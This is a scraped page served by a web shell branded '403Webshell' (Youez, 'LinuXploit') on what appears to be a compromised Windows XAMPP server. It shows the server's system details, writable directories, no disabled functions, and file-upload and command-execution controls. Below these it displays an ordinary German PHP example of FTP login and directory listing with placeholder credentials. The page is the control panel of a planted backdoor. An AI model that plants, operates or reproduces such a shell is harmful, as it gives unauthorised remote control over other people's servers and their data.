403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.48
Web Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT DESKTOP-3H4FHQJ 10.0 build 19045 (Windows 10) AMD64
User : win 10 ( 0)
PHP Version : 8.2.12
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  D:/xamppkk/contrib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : D:/xamppkk/contrib/ftp-mit-php.php
<?php
$host="localhost";
$user="zaphod";
$password="blabla";

// Herstellen der Basis-Verbindung
$conn_id = ftp_connect($host); 

// Einloggen mit Benutzername und Kennwort
$login_result = ftp_login($conn_id, $user, $password); 

// Verbindung �berpr�fen
if ((!$conn_id) || (!$login_result)) { 
        echo "Ftp-Verbindung nicht hergestellt!";
        echo "Verbindung mit $host als Benutzer $user nicht m�glich"; 
        die; 
    } else {
        echo "Verbunden mit $host als Benutzer $user";
    }

print "<br>";
$path="/";
$dir = "";
///// List  
$files=ftp_nlist($conn_id, "$path");
foreach ($files as $file) {
 $isfile = ftp_size($conn_id, $file); 
 if($isfile == "-1") { // Ist ein Verzeichnis
  print $file."/ [DIR]<br>";
 }
 else {
  $filelist[(count($filelist)+1)] = $file; // Ist eine Verzeichnis
  print $file."<br>";
 }
}


///// Upload 
// ftp_put($conn_id, $remote_file_path, $local_file_path, FTP_BINARY);
 
///// Download
// ftp_get($conn_id, $local_file_path, $remote_file_path, FTP_BINARY); 

///// L�schen einer Datei
// ftp_delete ($conn_id, $remote_file_path); 


// Schlie�en des FTP-Streams
ftp_quit($conn_id); 
?>

Youez - 2016 - github.com/yon3zu
LinuXploit